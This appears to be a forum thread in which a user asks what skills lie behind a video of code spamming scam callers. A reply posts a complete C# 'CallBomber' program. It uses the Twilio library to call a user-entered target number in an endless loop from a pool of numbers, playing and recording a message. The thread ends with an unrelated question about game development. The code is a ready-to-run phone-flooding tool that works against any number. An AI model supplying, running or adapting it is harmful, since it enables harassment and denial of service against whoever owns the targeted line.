What Kind Of Coding Is This?

Hi, I saw this video and was wondering what kind of coding was used. I assumed it was C++ based when I saw the syntax.

https://www.youtube.com/watch?v=EzedMdx6QG4

^This is the video, the code comes in at 2:17 . It's hard to really read the code but you can gather bits and pieces.

Now, I want to know what I'd need to learn in order to write similar code. I don't want to know because I have bloated dreams of hacking, I just wish to expand my knowledge. I have listed basic coding related things that I will learn when I'm done learning the rest of C++ basics.

To restate, I want to know what would be needed to learn in order to code like this (an external library?). Thanks!
I want to know what would be needed to learn in order to code like this
Write code like what? You can't see anything.

It looks like C#.
Sorry about that, I elaborated but accidentally refreshed the page erasing what I wrote. Forgot to put some details in.

The code sent simultaneous calls to spam callers who operated with a single number connected to many phones (like any customer service place). The phone call would have a robotic voice repeating a coded message.

My question is what kind of coding was (or can be) used in order to send out so many calls and have a voice playback a message. I wish to add it to my list of things to learn.
Last edited on
I was able to obtain a copy of the code. kbw - looks like you were right about it being C# - hope you guys don't mind C# code on C++ forum. :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Threading.Tasks;
using System.Linq;
using Twilio; /* Run 'Install-Package Twilio' in NuGet Package Manager console */
using Twilio.Rest.Api.V2010.Account;
using Twilio.Types;

namespace CallBomber
{
    class Program
    {
        public static string accountSid = "*********";
        public static string authtoken = "*********";
        public static List<string> numbers = new List<string>(new string[] { "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", "+10000000000", }); // Replace "" with phone numbers
        public static List<string> numbersInUse = new List<string>();
        public static string NumToCall = "";
        static void Main(string[] args)
        {
            Console.WriteLine(@"
            
   _____ ____  __  ______ 
  / ___// __ \/ / / / __ \
  \__ \/ / / / / / / /_/ /
 ___/ / /_/ / /_/ / ____/ 
/____/\____/\____/_/      
                      
            ");

            Console.WriteLine("Enter the target number to start flood (+1 MUST BE IN FRONT!):");
            NumToCall = Console.ReadLine();
            Console.WriteLine("Press ENTER to start the flooder, Otherwise exit the application right now...");
            
            Console.ReadLine();
            Console.Clear();
            TwilioClient.Init(accountSid, authtoken);

            var count = 1;
            // do while loop 
            do
            {
                Console.WriteLine("Starting Call Batch " + count.ToString() + " [" + numbers.Count + " Nums.)"); // this line needs to be fixed
                foreach (string num in numbers)
                {
                    Call(num);
                    System.Threading.Thread.Sleep(1000);
                }
                count++;
                System.Threading.Thread.Sleep(5000);
            } while (true);
        }

        // Call Function

        static void Call(string FromNumber)
        {
            try
            {
                var call = CallResource.Create(
                     new PhoneNumber(NumToCall),
                     new PhoneNumber(FromNumber),
                     record: true,
                     url: new Uri("/*A URL that returns TwiML markup*/")
               );

                Console.WriteLine(string.Format($"Started call to :" + call.To + " from: " + FromNumber));

            }
            catch (Exception Ex)
            {
                Console.WriteLine(string.Format($"Error on number {FromNumber}: {Ex.Message}"));
            }

        }
    }
}
Last edited on
Well, it seems, after some digging, that this code was made through the twilio library -- which is from a website named twilio which is made for developers to send texts and calls. The library is for C# and Python apparently. Thanks kbw.
Hello all,

I am actually into game development and I think it was a mistake for me to jump into this field this soon.
I have been taking a few unity tutorials ( https://hackr.io/tutorials/learn-unity ) and now I realize that I should have concentrated on getting more advanced knowledge of C++.
I wanted to know your thoughts on this.
I have an option of pausing the course now and getting better at C++.
What should I be doing?
Is C++ even the right language to be learning to go into game development or is there anything else you guys would recommend?
Please help me out.
Last edited on
ethanscott, it's better to start a new thread for this.
Topic archived. No new replies allowed.